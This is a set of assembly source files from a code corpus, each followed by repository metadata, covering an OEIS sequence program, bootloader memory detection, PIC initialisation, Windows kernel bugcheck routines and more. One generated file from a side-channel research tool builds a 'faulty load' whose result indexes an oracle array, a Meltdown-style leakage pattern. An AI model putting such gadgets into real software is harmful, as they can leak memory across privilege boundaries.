; A191900: Number of compositions of odd natural numbers into 7 parts <=n ; 0,64,1093,8192,39062,139968,411771,1048576,2391484,5000000,9743585,17915904,31374258,52706752,85429687,134217728,205169336,306110016,446935869,640000000,900544270,1247178944,1702412723,2293235712,3051757812,4015905088 mov $1,$0 add $1,1 pow $1,7 div $1,2
41.5
219
0.810241
a2fa961eae2550c30dd81482b4e75ceaeb85ecf9
468
asm
Assembly
playground/Gen1/SerialIO.asm
marcelocaetano/XSharp
394f17cee63bfc9781ac8f6b1e21291caa9fc111
[ "BSD-3-Clause" ]
168
2017-08-05T18:23:29.000Z
2022-03-31T19:33:13.000Z
playground/Gen1/SerialIO.asm
marcelocaetano/XSharp
394f17cee63bfc9781ac8f6b1e21291caa9fc111
[ "BSD-3-Clause" ]
12
2017-09-19T13:24:16.000Z
2020-09-03T09:42:19.000Z
playground/Gen1/SerialIO.asm
marcelocaetano/XSharp
394f17cee63bfc9781ac8f6b1e21291caa9fc111
[ "BSD-3-Clause" ]
47
2017-08-13T04:12:40.000Z
2022-03-29T18:25:19.000Z
; Generated at 4/14/2019 1:59:47 AM DebugStub_ComAddr dd 1016 %ifndef Exclude_IOPort_Based_Serial DebugStub_WriteRegister: push dword EDX add DX, 0x3F8 out DX, AL pop dword EDX DebugStub_WriteRegister_Exit: mov dword [INTs_LastKnownAddress], DebugStub_WriteRegister_Exit Ret DebugStub_ReadRegister: push dword EDX add DX, 0x3F8 in byte AL, DX pop dword EDX DebugStub_ReadRegister_Exit: mov dword [INTs_LastKnownAddress], DebugStub_ReadRegister_Exit Ret %endif
16.137931
63
0.82906
5bb70ca8851cbca6d12728aff3135d9834381505
148
asm
Assembly
libsrc/_DEVELOPMENT/string/c/sccz80/stricmp.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
8
2017-01-18T12:02:17.000Z
2021-06-12T09:40:28.000Z
libsrc/_DEVELOPMENT/string/c/sccz80/stricmp.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
1
2017-03-06T07:41:56.000Z
2017-03-06T07:41:56.000Z
libsrc/_DEVELOPMENT/string/c/sccz80/stricmp.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
3
2017-03-07T03:19:40.000Z
2021-09-15T17:59:19.000Z
; int stricmp(const char *s1, const char *s2) SECTION code_clib SECTION code_string PUBLIC stricmp EXTERN strcasecmp defc stricmp = strcasecmp
12.333333
45
0.783784
9072790fd488821cccde1870b038670786ffe8e1
1,871
asm
Assembly
boot/memory.asm
semahawk/kernel
a9d23a598d5d13345a7c10d5fd93c397a7a2dacd
[ "BSD-3-Clause" ]
null
null
null
boot/memory.asm
semahawk/kernel
a9d23a598d5d13345a7c10d5fd93c397a7a2dacd
[ "BSD-3-Clause" ]
1
2016-11-13T12:04:53.000Z
2016-11-13T12:04:53.000Z
boot/memory.asm
semahawk/kernel
a9d23a598d5d13345a7c10d5fd93c397a7a2dacd
[ "BSD-3-Clause" ]
null
null
null
enter_unreal_mode: ; disable interrupts cli ; save the data segment push ds ; load the GDT lgdt [gdt] ; set the PE bit mov eax, cr0 or al, 1 mov cr0, eax ; tell 386/486 not to crash jmp $+2 ; select the code descriptor mov bx, 0x08 mov ds, bx ; unset the PE bit, back to real mode and al, 0xfe mov cr0, eax ; restore the data segment pop ds ; enable interrupts sti ret detect_memory: xor eax, eax mov es, eax mov edi, memory_map ; point es:edi to the memory map buffer mov eax, 0xe820 xor ebx, ebx ; ebx must be 0 mov ecx, 24 ; ask for 24 bytes mov edx, 0x534d4150 int 15h jc .fail mov edx, 0x534d4150 cmp eax, edx jne .fail ; ebx == 0 implies list is only 1 entry long (so, worthless) test ebx, ebx je .fail jmp .skip_interrupt .next_entry: mov eax, 0xe820 mov ecx, 24 ; ask for 24 bytes mov [es:di + 20], dword 1 ; force a valid ACPI 3.X entry int 15h jc .ok ; carry set means "end of list already reached" mov edx, 0x534d4150 ; repair potentially trashed register .skip_interrupt: jcxz .skip_entry ; skip any 0 length entries cmp cl, 20 ; got a 24 byte ACPI 3.X response? jbe .not_extended test byte [es:di + 20], 1 ; if so: is the "ignore this data" bit clear? je .skip_entry .not_extended: mov ecx, [es:di + 8] ; get lower dword of memory region length or ecx, [es:di + 12] ; "or" it with upper dword to test for zero jz .skip_entry ; if length qword is 0; skip entry add edi, 24 ; point to the next entry in the buffer .skip_entry: test ebx, ebx ; if ebx is 0, list is complete jne .next_entry .ok: clc ; I'm not sure if that's necessary ret .fail: error ; vi: ft=nasm:ts=2:sw=2 expandtab
22.542169
75
0.615179
7b638a36da517e563368264f1281df165c95cb00
5,525
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1528.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1528.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1528.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r8 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0x14fee, %rax nop nop nop nop add $6520, %r9 movb $0x61, (%rax) nop nop nop nop xor $20153, %rbp lea addresses_normal_ht+0xfc6e, %rsi lea addresses_WT_ht+0x63c, %rdi nop nop and %r8, %r8 mov $116, %rcx rep movsl nop nop and %rax, %rax lea addresses_A_ht+0x18c6e, %rsi lea addresses_WC_ht+0x118b8, %rdi dec %r12 mov $88, %rcx rep movsl nop sub %r8, %r8 lea addresses_UC_ht+0x14072, %r12 nop nop nop nop add $14235, %r8 mov (%r12), %rsi dec %rdi lea addresses_WC_ht+0x137f7, %r12 nop nop nop nop nop inc %rbp movb (%r12), %r8b sub %rax, %rax lea addresses_D_ht+0xfcae, %rdi nop nop nop sub %rax, %rax movb $0x61, (%rdi) nop nop nop nop sub $30164, %rcx lea addresses_WC_ht+0x906e, %rsi sub %rax, %rax mov (%rsi), %r8w nop nop nop add $53807, %r8 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r8 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r15 push %rax push %rcx push %rdi // Faulty Load lea addresses_A+0x206e, %rax nop nop cmp %rcx, %rcx mov (%rax), %r15w lea oracles, %rdi and $0xff, %r15 shlq $12, %r15 mov (%rdi,%r15,1), %r15 pop %rdi pop %rcx pop %rax pop %r15 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': True, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
42.829457
2,999
0.657195
7b695e9044f90a5cadec02d3d4f4c8932762e1bd
4,143
asm
Assembly
Firmware/ATU-10_FW_10/pic_init.asm
vahalan/ATU-10-10W-QRP-antenna-tuner
dc728f28231aa38f45d10b726d3ccb5fc755464f
[ "Unlicense" ]
29
2021-06-27T14:27:40.000Z
2022-03-08T14:41:26.000Z
Firmware/ATU-10_FW_10/pic_init.asm
vahalan/ATU-10-10W-QRP-antenna-tuner
dc728f28231aa38f45d10b726d3ccb5fc755464f
[ "Unlicense" ]
3
2021-08-03T07:46:49.000Z
2021-10-04T15:59:22.000Z
Firmware/ATU-10_FW_10/pic_init.asm
vahalan/ATU-10-10W-QRP-antenna-tuner
dc728f28231aa38f45d10b726d3ccb5fc755464f
[ "Unlicense" ]
14
2021-06-27T12:35:10.000Z
2022-03-29T21:23:19.000Z
_pic_init: ;pic_init.c,5 :: void pic_init (void) { ;pic_init.c,7 :: ANSELA = 0; // all as digital CLRF ANSELA+0 ;pic_init.c,8 :: ANSELB = 0; // all as digital CLRF ANSELB+0 ;pic_init.c,9 :: ANSB0_bit = 1; // analog input BSF ANSB0_bit+0, BitPos(ANSB0_bit+0) ;pic_init.c,10 :: ANSB1_bit = 1; // analog input BSF ANSB1_bit+0, BitPos(ANSB1_bit+0) ;pic_init.c,11 :: ANSB2_bit = 1; // analog input BSF ANSB2_bit+0, BitPos(ANSB2_bit+0) ;pic_init.c,12 :: ANSELC = 0; // all as digital CLRF ANSELC+0 ;pic_init.c,13 :: ANSELE = 0; // all as digital CLRF ANSELE+0 ;pic_init.c,14 :: ANSELD = 0; // all as digital CLRF ANSELD+0 ;pic_init.c,16 :: C1ON_bit = 0; // Disable comparators BCF C1ON_bit+0, BitPos(C1ON_bit+0) ;pic_init.c,17 :: C2ON_bit = 0; BCF C2ON_bit+0, BitPos(C2ON_bit+0) ;pic_init.c,19 :: PORTA = 0; CLRF PORTA+0 ;pic_init.c,20 :: PORTB = 0; CLRF PORTB+0 ;pic_init.c,21 :: PORTC = 0; CLRF PORTC+0 ;pic_init.c,22 :: PORTD = 0; CLRF PORTD+0 ;pic_init.c,23 :: PORTE = 0; CLRF PORTE+0 ;pic_init.c,24 :: LATA = 0b00000000; CLRF LATA+0 ;pic_init.c,25 :: LATB = 0b00000000; CLRF LATB+0 ;pic_init.c,26 :: LATC = 0b00010000; MOVLW 16 MOVWF LATC+0 ;pic_init.c,27 :: LATD = 0b00000110; MOVLW 6 MOVWF LATD+0 ;pic_init.c,28 :: LATE = 0b00000000; CLRF LATE+0 ;pic_init.c,29 :: TRISA = 0b00000000; CLRF TRISA+0 ;pic_init.c,30 :: TRISB = 0b00100111; MOVLW 39 MOVWF TRISB+0 ;pic_init.c,31 :: TRISC = 0b00000000; CLRF TRISC+0 ;pic_init.c,32 :: TRISD = 0b00000000; CLRF TRISD+0 ;pic_init.c,33 :: TRISE = 0b00000000; CLRF TRISE+0 ;pic_init.c,36 :: ODCA2_bit = 1; BSF ODCA2_bit+0, BitPos(ODCA2_bit+0) ;pic_init.c,37 :: ODCA3_bit = 1; BSF ODCA3_bit+0, BitPos(ODCA3_bit+0) ;pic_init.c,38 :: ODCD1_bit = 1; BSF ODCD1_bit+0, BitPos(ODCD1_bit+0) ;pic_init.c,39 :: ODCD2_bit = 1; BSF ODCD2_bit+0, BitPos(ODCD2_bit+0) ;pic_init.c,42 :: T0CS0_bit = 0; // Fosc/4 BCF T0CS0_bit+0, BitPos(T0CS0_bit+0) ;pic_init.c,43 :: T0CS1_bit = 1; BSF T0CS1_bit+0, BitPos(T0CS1_bit+0) ;pic_init.c,44 :: T0CS2_bit = 0; BCF T0CS2_bit+0, BitPos(T0CS2_bit+0) ;pic_init.c,45 :: T016BIT_bit = 1; BSF T016BIT_bit+0, BitPos(T016BIT_bit+0) ;pic_init.c,46 :: TMR0L = 0xC0; // 80_000 cycles to OF MOVLW 192 MOVWF TMR0L+0 ;pic_init.c,47 :: TMR0H = 0xE0; MOVLW 224 MOVWF TMR0H+0 ;pic_init.c,48 :: TMR0IF_bit = 0; BCF TMR0IF_bit+0, BitPos(TMR0IF_bit+0) ;pic_init.c,49 :: T0EN_bit = 1; BSF T0EN_bit+0, BitPos(T0EN_bit+0) ;pic_init.c,50 :: TMR0IE_bit = 1; BSF TMR0IE_bit+0, BitPos(TMR0IE_bit+0) ;pic_init.c,53 :: PMD0 = 0b00011110; // MOVLW 30 MOVWF PMD0+0 ;pic_init.c,54 :: PMD1 = 0b11111110; MOVLW 254 MOVWF PMD1+0 ;pic_init.c,55 :: PMD2 = 0b01000111; MOVLW 71 MOVWF PMD2+0 ;pic_init.c,56 :: PMD3 = 0b01111111; MOVLW 127 MOVWF PMD3+0 ;pic_init.c,57 :: PMD4 = 0b1110111; MOVLW 119 MOVWF PMD4+0 ;pic_init.c,58 :: PMD5 = 0b11011111; MOVLW 223 MOVWF PMD5+0 ;pic_init.c,60 :: GIE_bit = 1; BSF GIE_bit+0, BitPos(GIE_bit+0) ;pic_init.c,61 :: IOCIE_bit = 1; BSF IOCIE_bit+0, BitPos(IOCIE_bit+0) ;pic_init.c,62 :: IOCBF5_bit = 0; BCF IOCBF5_bit+0, BitPos(IOCBF5_bit+0) ;pic_init.c,63 :: IOCBN5_bit = 1; BSF IOCBN5_bit+0, BitPos(IOCBN5_bit+0) ;pic_init.c,65 :: Delay_ms (100); MOVLW 5 MOVWF R11 MOVLW 15 MOVWF R12 MOVLW 241 MOVWF R13 L_pic_init0: DECFSZ R13, 1 GOTO L_pic_init0 DECFSZ R12, 1 GOTO L_pic_init0 DECFSZ R11, 1 GOTO L_pic_init0 ;pic_init.c,66 :: return; ;pic_init.c,67 :: } L_end_pic_init: RETURN ; end of _pic_init
31.625954
62
0.571566
af77672fae0968699d5da61340f5adacd72c8bb3
116
asm
Assembly
impl/src/test/resources/patterns/NoCode.asm
jeslie/hack-assembler
0643ae425abdb65a366b1bf4970ccfe7d9d178c5
[ "MIT" ]
1
2020-05-07T00:12:33.000Z
2020-05-07T00:12:33.000Z
impl/src/test/resources/patterns/NoCode.asm
jeslie/hack-assembler
0643ae425abdb65a366b1bf4970ccfe7d9d178c5
[ "MIT" ]
null
null
null
impl/src/test/resources/patterns/NoCode.asm
jeslie/hack-assembler
0643ae425abdb65a366b1bf4970ccfe7d9d178c5
[ "MIT" ]
null
null
null
// this file contains nothing // that should (GENERATE) // any output in its corresponding *.hack file
19.333333
46
0.655172
890b4e1dd3edf38c6d0c1c1dd4c668bd58d7f222
407
asm
Assembly
oeis/291/A291267.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/291/A291267.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/291/A291267.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A291267: The arithmetic function v_2(n,3). ; 0,1,1,2,2,2,2,3,4,4,4,4,4,6,5,6,6,6,8,7,8,8,8,10,8,9,9,10,12,10,10,12,12,14,12,12,12,13,16,14,14,14,16,18,16,16,16,16,20,18,17,18,18,22,18,19,20,20,24,20,20,21,21,26,24,22,24,24,28 add $0,1 mov $1,$0 lpb $1 sub $1,2 mul $1,2 mov $2,$0 dif $2,$1 lpb $2 cmp $2,$0 cmp $2,0 mul $2,$1 div $1,2 sub $1,1 lpe sub $0,1 lpe div $0,2
19.380952
182
0.550369
1469b479bf8019df4485c0871aaac3f1b997491a
29,209
asm
Assembly
base/ntos/ke/amd64/procstat.asm
szdyg/Wrk-Learning
f1110b8c7ab0bc6be96ee4df80489f2d87cbba13
[ "Intel" ]
null
null
null
base/ntos/ke/amd64/procstat.asm
szdyg/Wrk-Learning
f1110b8c7ab0bc6be96ee4df80489f2d87cbba13
[ "Intel" ]
null
null
null
base/ntos/ke/amd64/procstat.asm
szdyg/Wrk-Learning
f1110b8c7ab0bc6be96ee4df80489f2d87cbba13
[ "Intel" ]
null
null
null
title "Processor State Save Restore" ;++ ; ; Copyright (c) Microsoft Corporation. All rights reserved. ; ; You may only use this code if you agree to the terms of the Windows Research Kernel Source Code License agreement (see License.txt). ; If you do not agree to the terms, do not use the code. ; ; ; Module Name: ; ; procstat.asm ; ; Abstract: ; ; This module implements routines to save and restore processor control ; state. ; ;-- include ksamd64.inc altentry KiBugCheckReturn extern KeBugCheck2:proc extern KxContextToKframes:proc extern KiHardwareTrigger:dword extern RtlCaptureContext:proc subttl "BugCheck" ;++ ; ; VOID ; KeBugCheck ( ; __in ULONG BugCheckCode ; ) ; ; Routine Description: ; ; This routine calls extended bugcheck to crash the system in a controlled ; manner. ; ; Arguments: ; ; BugCheckCode (rcx) - BugCheck code. ; ; Return Value: ; ; None - function does not return. ; ;-- BcFrame struct P1Home dq ? ; parameter home addresses P2Home dq ? ; P3Home dq ? ; P4Home dq ? ; P5Home dq ? ; BcFrame ends NESTED_ENTRY KeBugCheck, _TEXT$00 alloc_stack (sizeof BcFrame) ; allocate stack frame END_PROLOGUE ALTERNATE_ENTRY KiBugCheckReturn call KeBugCheckEx ; bugcheck system - not return nop ; fill - do not remove NESTED_END KeBugCheck, _TEXT$00 subttl "BugCheck 3" ;++ ; ; VOID ; KeBugCheck3 ( ; __in ULONG BugCheckCode, ; __in ULONG_PTR P1, ; __in ULONG_PTR P2, ; __in ULONG_PTR P3 ; ) ; ; Routine Description: ; ; This routine calls extended bugcheck to crash the system in a controlled ; manner. ; ; This routine differs from KeBugCheckEx in that the fourth bugcheck ; parameter is not used and presumed zero. ; ; Arguments: ; ; BugCheckCode (rcx) - BugCheck code. ; ; P1, P2 and P3 - Bugcheck parameters ; ; Return Value: ; ; None - function does not return. ; ;-- BcFrame struct P1Home dq ? ; parameter home addresses P2Home dq ? ; P3Home dq ? ; P4Home dq ? ; P5Home dq ? ; BcFrame ends NESTED_ENTRY KiBugCheck3, _TEXT$00 alloc_stack (sizeof BcFrame) ; allocate stack frame END_PROLOGUE mov BcFrame.P5Home[rsp], 0 call KeBugCheckEx ; bugcheck system - not return nop ; fill - do not remove NESTED_END KiBugCheck3, _TEXT$00 subttl "BugCheck Extended" ;++ ; ; VOID ; KeBugCheckEx ( ; __in ULONG BugCheckCode, ; __in ULONG_PTR P1, ; __in ULONG_PTR P2, ; __in ULONG_PTR P3, ; __in ULONG_PTR P4 ; ) ; ; Routine Description: ; ; This routine restores the context and control state of the current ; processor and passes control to KeBugCheck2. ; ; Arguments: ; ; BugCheckCode (rcx) - BugCheck code. ; ; P1, P2, P3 and P4 - BugCheck parameters. ; ; Return Value: ; ; None - function does not return. ; ;-- BeFrame struct P1Home dq ? ; parameter home addresses P2Home dq ? ; P3Home dq ? ; P4Home dq ? ; P5Home dq ? ; P6Home dq ? ; Flags dq ? ; BeFrame ends NESTED_ENTRY KeBugCheckEx, _TEXT$00 mov P1Home[rsp], rcx ; save argument registers mov P2Home[rsp], rdx ; mov P3Home[rsp], r8 ; mov P4Home[rsp], r9 ; push_eflags ; save processor flags alloc_stack (sizeof BeFrame - 8) ; allocate stack frame END_PROLOGUE ; ; Capture Processor context and control state ; cli ; disable interrupts mov rcx, gs:[PcCurrentPrcb] ; get current PRCB address add rcx, PbProcessorState + PsContextFrame ; set context address call RtlCaptureContext ; capture processor context mov rcx, gs:[PcCurrentPrcb] ; get current PRCB address add rcx, PbProcessorState ; set address of processor state call KiSaveProcessorControlState; save processor control state ; ; Update register values in captured context to their state at the entry ; of BugCheck function. ; mov r10, gs:[PcCurrentPrcb] ; get current PRCB address add r10, PbProcessorState + PsContextFrame ; point to context frame mov rax, P1Home + (sizeof BeFrame)[rsp] ; get saved rcx mov CxRcx[r10], rax ; update rcx in context frame mov rax, BeFrame.Flags[rsp] ; get saved flags mov CxEFlags[r10], rax ; update rflag in context frame lea rax, KiBugCheckReturn + 5 ; get return address of KeBugCheck cmp rax, (sizeof BeFrame)[rsp] ; identify caller by return address jnz short KeBC10 ; if nz, caller is not KeBugCheck lea r8, (sizeof BeFrame) + (sizeof BcFrame) + 8[rsp] ; calculate rsp at entry of KeBugCheck lea r9, KeBugCheck ; get the entry point of KeBugCheck jmp short KeBC20 ; KeBC10: lea r8, (sizeof BeFrame)[rsp] ; calculate rsp at entry of KeBugCheckEx lea r9, KeBugCheckEx ; get the entry point of KeBugCheckEx KeBC20: mov CxRsp[r10], r8 ; update rsp in context frame mov CxRip[r10], r9 ; update rip in context frame ; ; Raise IRQL and enable interrupt as appropriate. ; CurrentIrql ; get current IRQL mov gs:[PcDebuggerSavedIRQL], al ; save current IRQL cmp al, DISPATCH_LEVEL ; check if IRQL is less than dispatch jge short KeBC30 ; if ge, don't bother to raise mov ecx, DISPATCH_LEVEL ; raise to DISPATCH_LEVEL SetIrql ; set IRQL KeBC30: mov rax, BeFrame.Flags[rsp] ; get saved flags and rax, EFLAGS_IF_MASK ; check previous interrupt state jz short KeBC40 ; if z, interrupt was disabled sti ; enable interrupt KeBC40: lock inc KiHardwareTrigger ; assert lock to avoid speculative read ; ; Pass control to KeBugCheck2 ; mov rcx, P1Home + (sizeof BeFrame)[rsp] ; get saved bugcheck code mov qword ptr BeFrame.P6Home[rsp], 0 ; set parameter 6 to NULL lea rax, KiBugCheckReturn + 5; get return address of KeBugCheck cmp rax, (sizeof BeFrame)[rsp] ; identify caller by return address jz short KeBC50 ; if z, caller is KeBugCheck mov rax, (5 * 8) + (sizeof BeFrame)[rsp] ; get parameter 5 mov BeFrame.P5Home[rsp], rax; set parameter 5 mov r9, P4Home + (sizeof BeFrame)[rsp] ; restore parameter 4 mov r8, P3Home + (sizeof BeFrame)[rsp] ; restore parameter 3 mov rdx, P2Home + (sizeof BeFrame)[rsp] ; restore parameter 2 call KeBugCheck2 ; bugcheck system - not return nop ; fill - do not remove ; KeBC50: mov qword ptr Beframe.P5Home[rsp], 0 ; set parameter 5 to 0 xor r9d, r9d ; set parameter 4 to 0 xor r8d, r8d ; set parameter 3 to 0 xor edx, edx ; set parameter 2 to 0 call KeBugCheck2 ; bugcheck system - not return nop ; fill - do not remove NESTED_END KeBugCheckEx, _TEXT$00 subttl "Context To Kernel Frame" ;++ ; ; VOID ; KeContextToKframes ( ; IN OUT PKTRAP_FRAME TrapFrame, ; IN OUT PKEXCEPTION_FRAME ExceptionFrame, ; IN PCONTEXT ContextRecord, ; IN ULONG ContextFlags, ; IN KPROCESSOR_MODE PreviousMode ; ) ; ; Routine Description: ; ; This function saves the current non-volatile XMM state, performs a ; context to kernel frames operation, then restores the non-volatile ; XMM state. ; ; Arguments: ; ; TrapFrame (rcx) - Supplies a pointer to a trap frame that receives the ; volatile context from the context record. ; ; ExceptionFrame (rdx) - Supplies a pointer to an exception frame that ; receives the nonvolatile context from the context record. ; ; ContextRecord (r8) - Supplies a pointer to a context frame that contains ; the context that is to be copied into the trap and exception frames. ; ; ContextFlags (r9) - Supplies the set of flags that specify which parts ; of the context frame are to be copied into the trap and exception ; frames. ; ; PreviousMode (32[rsp]) - Supplies the processor mode for which the ; exception and trap frames are being built. ; ; Return Value: ; ; None. ; ;-- KfFrame struct P1Home dq ? ; parameter home addresses P2Home dq ? ; P3Home dq ? ; P4Home dq ? ; P5Home dq ? ; OldIrql dd ? ; previous IRQL Fill1 dd ? ; fill SavedXmm6 db 16 dup (?) ; saved nonvolatile floating registers SavedXmm7 db 16 dup (?) ; SavedXmm8 db 16 dup (?) ; SavedXmm9 db 16 dup (?) ; SavedXmm10 db 16 dup (?) ; SavedXmm11 db 16 dup (?) ; SavedXmm12 db 16 dup (?) ; SavedXmm13 db 16 dup (?) ; SavedXmm14 db 16 dup (?) ; SavedXmm15 db 16 dup (?) ; Fill2 dq ? ; fill KfFrame ends NESTED_ENTRY KeContextToKframes, _TEXT$00 alloc_stack (sizeof KfFrame) ; allocate stack frame save_xmm128 xmm6, KfFrame.SavedXmm6 ; save nonvolatile floating registers save_xmm128 xmm7, KfFrame.SavedXmm7 ; save_xmm128 xmm8, KfFrame.SavedXmm8 ; save_xmm128 xmm9, KfFrame.SavedXmm9 ; save_xmm128 xmm10, KfFrame.SavedXmm10 ; save_xmm128 xmm11, KfFrame.SavedXmm11 ; save_xmm128 xmm12, KfFrame.SavedXmm12 ; save_xmm128 xmm13, KfFrame.SavedXmm13 ; save_xmm128 xmm14, KfFrame.SavedXmm14 ; save_xmm128 xmm15, KfFrame.SavedXmm15 ; END_PROLOGUE mov rax, cr8 ; get current IRQL mov KfFrame.OldIrql[rsp], eax ; save current IRQL cmp eax, APC_LEVEL ; check if above or equal to APC level jae short KfCS10 ; if ae, above or equal APC level mov eax, APC_LEVEL ; raise IRQL to APC level mov cr8, rax ; KfCS10: mov r10, (5 * 8) + (sizeof KfFrame)[rsp] ; get parameter 5 mov KfFrame.P5Home[rsp], r10 ; set parameter 5 mov rax, dr7 ; access debug register call KxContextToKframes ; perform a context to kernel frames test rax, rax ; test if legacy floating switched jz short KfCS20 ; if z, legacy floating not switched ; ; N.B. The following legacy restore also restores the nonvolatile floating ; registers xmm6-xmm15 with potentially incorrect values. Fortunately, 